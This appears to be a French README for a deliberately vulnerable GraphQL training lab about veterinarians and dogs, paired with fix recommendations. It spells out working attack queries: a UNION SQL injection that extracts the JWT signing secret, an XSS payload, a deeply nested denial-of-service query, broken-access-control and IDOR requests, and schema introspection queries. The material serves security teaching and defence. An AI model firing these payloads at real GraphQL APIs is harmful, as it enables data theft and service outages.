
Recherche sur GraphQL d'un point de vue AppSec.
Un laboratoire a été créé afin d'étudier les différentes problématiques, celui-ci prend le contexte d'un vétérinaire gérant les soins de santé de chiens.
Le laboratoire a été développé avec IntelliJ IDEA Community Edition.
Les domaines utilisés sont les suivants :```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
Voici les conditions et hypothèses du laboratoire :
* Un vétérinaire peut être associé à 0 ou N chiens.
* Un chien peut être associé à 0 ou 1 vétérinaire.
* Un vétérinaire possède une propriété nommée **Popularity** présente dans le système de stockage (base de données) mais elle ne doit pas être accessible par un client GraphQL car c'est une information sensible.
* Du point de vue de la consommation de données GraphQL, c'est le vétérinaire. Les informations sur les chiens sont publiques.
* Le laboratoire est explicitement une application vulnérable dans laquelle plusieurs vulnérabilités ont été implémentées et sont identifiées à l'aide du marqueur `[VULN]` dans les commentaires.
* Concernant l'authentification, un faux service tiers a été implémenté (via une servlet) et retourne un jeton JWT contenant le nom du vétérinaire dans le jeton.
Une fois démarré via la configuration de lancement présente dans le projet ou la ligne de commande `mvn spring-boot:run`, le laboratoire est disponible sur ces points de terminaison :
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
Pour empaqueter l'application sous forme de fichier jar portable, utilisez la commande `mvn package` (un fichier jar pré-construit est disponible [ici](https://github.com/righettod/poc-graphql/releases)) :
* Le fichier jar sera créé dans le dossier *target* et sera nommé *graphql-poc.jar*.
* Utilisez la commande `java -jar graphql-poc.jar` pour exécuter l'application.
## Déploiement sur Docker
> L'image est publiée chaque jour sur [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
Pour déployer l'application dans un conteneur Docker, suivez les étapes :
1. Assurez-vous d'avoir `docker` installé.
2. Clonez le dépôt avec `git clone`.
3. Placez-vous dans le répertoire cloné.
4. Construisez l'image Docker en utilisant `docker build -t poc-graphql .`
5. Une image nommée **poc-graphql:latest** a maintenant été créée sur votre machine.
6. Exécutez le conteneur avec `docker run -p 8080:8080 poc-graphql:latest`
7. Accédez au laboratoire via les points de terminaison suivants :
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## Faiblesses de sécurité
### Autorisation
*contrôle d'accès défaillant*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### Problème
Étant donné que GraphQL repose sur un point de terminaison unique vers lequel toutes les requêtes sont envoyées et que l'autorisation ne fait pas partie du périmètre de la spécification (pas de fonctionnalités intégrées).
Il revient à l'application de mettre en œuvre une logique d'autorisation.
Dans mon laboratoire, j'ai une vulnérabilité sur ce point car la vérification du jeton d'accès ne vérifie pas que le jeton appartient au vétérinaire passé dans **veterinaryId**.
**Exemple :**
Je demande un jeton d'accès pour **Dr Julien** qui a l'identifiant **3** dans le stockage en envoyant cette requête GraphQL :```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
Je reçois le jeton d'accès dans la réponse GraphQL suivante :```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
J'envoie une requête GraphQL à la requête `myInfo(...)` en utilisant le jeton d'accès obtenu, MAIS je spécifie l'identifiant **2** qui est celui de **Dr Benoit** :```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
Je reçois dans la réponse GraphQL la liste des Dogs associés à Dr Benoit :```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### Reco
Avec GraphQL, nous sommes passés d'une matrice d'autorisation utilisant `Rôle x Fonctionnalité` à une sécurité au niveau des données utilisant `Rôle x Données` car il y a aussi un seul point d'accès. L'identité et les rôles de l'utilisateur doivent être transmis à la couche supérieure chargée de récupérer les données (ou d'agir sur celles-ci) afin d'appliquer une vérification utilisant l'identité de l'utilisateur avant de récupérer les données.
### Injection
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### Problème
Selon la façon dont les informations de la requête/mutation/souscription GraphQL sont utilisées par le serveur GraphQL pour agir sur les magasins de données, il existe une possibilité d'injection.
Dans mes laboratoires, j'ai une vulnérabilité à ce sujet concernant l'injection SQL dans la requête `dogs(namePrefix: String, limit: Int = 500): [Dog!]` car le paramètre **namePrefix** est utilisé dans une concaténation de chaînes pour construire une requête SQL.
**Exemple :**
J'envoie cette requête GraphQL afin de lister le contenu de la table `CONFIG````javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
Je reçois dans la réponse GraphQL le secret utilisé pour signer le jeton JWT ainsi que le nom du chien dont le nom commence par ab :```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
À propos de XSS, il est intéressant de noter que la réponse GraphQL reflète le paramètre envoyé en cas d'échec de validation sur la requête envoyée.
**Exemple:**
J'envoie cette requête GraphQL à la query `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`, je remplace l'identifiant Veterinary (qui est un entier) par une charge utile XSS de type String:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
Je reçois cette réponse GraphQL qui reflète ma charge utile, donc, selon le client GraphQL et son comportement d'échappement/nettoyage, cela peut ouvrir la porte à une XSS :```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### Reco
* Appliquer une validation des entrées sur les données reçues via Query/Mutation/Subscription avant de les utiliser
* S'assurer que le client qui affiche les données issues de la réponse GraphQL applique un échappement/une sanitization sur les données avant de les afficher.
### Resource exhaustion
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### Problème
Comme le client contrôle la quantité de données demandées, il peut envoyer une requête GrapQL à une query qui provoque un épuisement des ressources sur les stockages appelés par le serveur GraphQL ainsi que sur le serveur GraphQL lui-même pour la sérialisation des données en JSON.
Ce problème peut également se produire en utilisant une mutation en envoyant une grande quantité de données dans les paramètres (une validation des entrées peut être utilisée ici pour prévenir cette attaque).
Ce problème peut également se produire en utilisant une subscription soit :
* Enregistrer un grand nombre d'abonnés et sur chaque subscription exposée.
* Envoyer une grande quantité de données dans les paramètres utilisés par les subscriptions.
Dans mes laboratoires, j'ai une vulnérabilité sur ce point pour la query, précisément dans la query `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` qui est disponible pour les utilisateurs anonymes et récupère le contenu de la base de données concernant les chiens. Comme il existe une relation entre les chiens et un vétérinaire et l'inverse, il est possible d'effectuer des appels en cascade provoquant un épuisement des ressources au niveau SQL sur la base de données.
**Exemple :**
Lorsque j'envoie cette requête, je fais passer mon CPU à 100% pendant plusieurs minutes et ma base de données est locale car c'est une SQLite```javascript
query dos {
allDogs(onlyFree: false, limit: 1000000) {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
}
}
}
}
}
}
}
}
}
}
}
}

Pour Query :
Selon l'implémentation du serveur GraphQL utilisé, utilisez la protection intégrée fournie pour Maximum Query Depth et Query Complexity (voir les spécifications ici).
Pour l'implémentation Java, ajoutez ces 2 classes d'instrumentation à la stratégie d'exécution :
Voir cette classe pour un exemple d'utilisation des 2 instrumentation ci-dessus.
Pour Mutation/Subscription :
Avec GrapQL, une fonctionnalité d'introspection est offerte au client pour accéder au schéma de l'API afin de découvrir les données disponibles, les Query, Mutation et Subscription sur celles-ci.
Remarque : Désactiver l'Introspection place votre serveur en contravention avec la spécification GraphQL et les attentes de la plupart des clients, utilisez donc cette option avec prudence ; préférez filtrer l'accès plutôt que de le désactiver d'un point de vue métier.
Cela implique que tout client est capable de fouiller le schéma pour voir dans Type si des informations sensibles intéressantes sont exposées (c'est la même remarque concernant les actions relatives aux Mutation ou Subscription exposées).
En utilisant GraphiQL via le panneau Documentation Explorer ou ce script, il est possible de parcourir le schéma exposé depuis un point d'accès GrapQL.
Dans mon laboratoire, j'ai, par erreur, exposé l'information popularity considérée comme sensible concernant un vétérinaire dans le Type Veterinary
Dans mon laboratoire, cette URL permet d'obtenir une copie du schéma.
Exemple :



Une contrainte d'authentification peut être définie sur l'accès au point d'accès GraphQL pour empêcher une exposition à un utilisateur anonyme, mais tout utilisateur authentifié accédera à ce schéma d'informations.
Même si un client peut voir la structure d'un type exposant des informations sensibles, pour voir ces informations, il doit être autorisé sur la Query/Mutation/Subscription renvoyant ces données.
Ne mappez pas d'informations sensibles dans le type défini dans le schéma.
Comme GraphQL matérialise la manière dont le client consommera les données, le GraphQL ne doit pas exposer toutes les données disponibles dans le stockage lié, mais seulement celles utiles pour le client selon le contexte métier de l'API GraphQL qui lui est exposée.
Lorsque le serveur GraphQL rencontre une erreur inattendue (E/S avec les stockages, NullPointerException, Timeout...), la réponse indique Internal Server Error(s) while executing query, ce qui donne un indice à l'attaquant qu'il a agi sur le système et provoqué un comportement inattendu.
Exemple :
Quand j'envoie cette requête dans mon laboratoire (jeton invalide) :```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }
Je reçois cette réponse qui m'informe que j'ai agi sur le système et provoqué un comportement inattendu. Peut-être, par exemple, que j'ai généré une stack trace dans le journal de l'application et si les fichiers journaux de l'application tournent sur la date (quotidiennement) et non sur la taille, alors je peux envoyer cette requête plusieurs fois pour remplir le disque avec des journaux d'erreur...```javascript
{
"data": {
"myInfo": null
},
"errors": [
{
"message": "Internal Server Error(s) while executing query",
"path": null,
"extensions": null
}
]
}
Retourner une erreur générique si une erreur inattendue est rencontrée, comme par exemple Query cannot be processed!
Voir un exemple dans cette classe.
Si l'API GrapQL expose des Query/Mutation/Subscription pour lesquelles l'identifiant de données est devinable/prévisible, alors les Query/Mutation/Subscription sont exposées à une attaque IDOR dans laquelle l'attaquant utilisera une liste d'identifiants construite sur mesure pour tenter d'accéder ou d'agir sur des données ayant un identifiant faisant partie de la liste, et l'action réussira si des problèmes d'autorisation sont également présents sur la Query/Mutation/Subscription cible gérant les données.
Les Query/Mutation/Subscription de l'API GraphQL proposées par mes labs sont vulnérables à IDOR car j'utilise des entiers séquentiels pour les identifiants uniques des Dog et Veterinary.
Exemple :
En utilisant l'explorateur de documentation (Documentation Explorer) de GraphiQL, nous voyons que les identifiants sont des entiers simples et sont séquentiels :


Requête pour détecter IDOR :```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }
La réponse montre l'identifiant séquentiel pour Chien et Vétérinaire :```javascript
{
"data": {
"allDogs": [
{
"id": 1,
"veterinary": {
"id": 1
}
},
{
"id": 2,
"veterinary": {
"id": 1
}
},
{
"id": 3,
"veterinary": {
"id": 1
}
},
...
{
"id": 55,
"veterinary": {
"id": 2
}
},
{
"id": 56,
"veterinary": {
"id": 2
}
},
{
"id": 57,
"veterinary": {
"id": 2
}
},
{
"id": 58,
"veterinary": {
"id": 2
}
},
{
"id": 59,
"veterinary": {
"id": 2
}
...
Lors de l'utilisation d'un serveur d'implémentation GraphQL pour construire votre API GraphQL, il peut arriver que celui-ci active par défaut certaines fonctionnalités qui exposent l'API GraphQL à la mauvaise sphère de clients.
Dans mon laboratoire, c'est le cas car, par défaut, un point de terminaison WebSocket est exposé sur le chemin /subscriptions et ne nécessite aucune authentification (voir cette doc précisément la section Realtime Updates with Subscriptions):

Les clients peuvent obtenir un accès aux données de l'API via ce point de terminaison si le schéma déclare des abonnements dans la section Subscription.
Exemple:
Je peux voir les abonnements exposés via le schéma:

Si j'envoie cette demande d'abonnement pour recevoir un événement de l'abonnement newAssociation:```javascript subscription subscribeToNewAssociation{ newAssociation }
Je reçois le message suivant indiquant que, désormais, je recevrai des informations de cet abonnement :```text
Your subscription data will appear here after server publication!
Et lorsque je crée une association via cette requête de mutation dans un autre navigateur par exemple :```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }
La réponse de mutation prouve que l'action a été effectuée au niveau des données :```javascript
{
"data": {
"associateDogToMe": {
"name": "Dobby"
}
}
}
Après un moment, je reçois cette notification en réponse à mon abonnement :```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

##### Activation par défaut du partage des ressources entre origines
Dans mon laboratoire, c'est le cas car, par défaut, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) est activé et défini sur `*` de sorte que l'API puisse être appelée par n'importe quelle `origin`.
**Exemple :**
Lorsque j'envoie cette requête dans laquelle je spécifie une `origin` différente de *domain1.local* à *domain2.local* :```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
{"query":"query testCORS {\n allDogs{\n name\n }\n}\n","variables":null,"operationName":"testCORS"}
Je reçois cette réponse :```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT
{"data":{"allDogs":[{"name":"Abi"},...
Call from a browser:


#### Recommandation
Vérifiez les fonctionnalités activées par défaut et désactivez-les si cela impacte l'exposition de l'API.
Pour le point de terminaison des Abonnements :
* Si vous exposez des abonnements, assurez-vous qu'une authentification et un contrôle d'accès sont en place pour chaque abonnement exposé dans le schéma.
* Si vous n'exposez pas d'abonnements, désactivez le point de terminaison WebSocket ou bloquez ce point de terminaison au niveau du WAF/serveur d'applications.
Dans mon laboratoire, j'ai dû définir les options suivantes dans ce [fichier de configuration](https://github.com/righettod/poc-graphql/blob/master/src/main/resources/application.properties) :
* Pour CORS : `graphql.servlet.corsEnabled=false`
* Pour WebSocket : `graphql.servlet.websocket.enabled=false`
## Requêtes de découverte
Les requêtes suivantes peuvent être utilisées pour obtenir le schéma.
Non détaillé :```javascript
{
__schema {
types {
name
kind
description
fields {
name
}
}
}
}
Détaillé :```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }
## Références utilisées
### GraphQL
* [Site GraphQL](https://graphql.org/)
* [Tutoriels GraphQL](https://www.howtographql.com/)
* [Blog DOYENSEC sur les problèmes GraphQL](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
### Laboratoires
* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)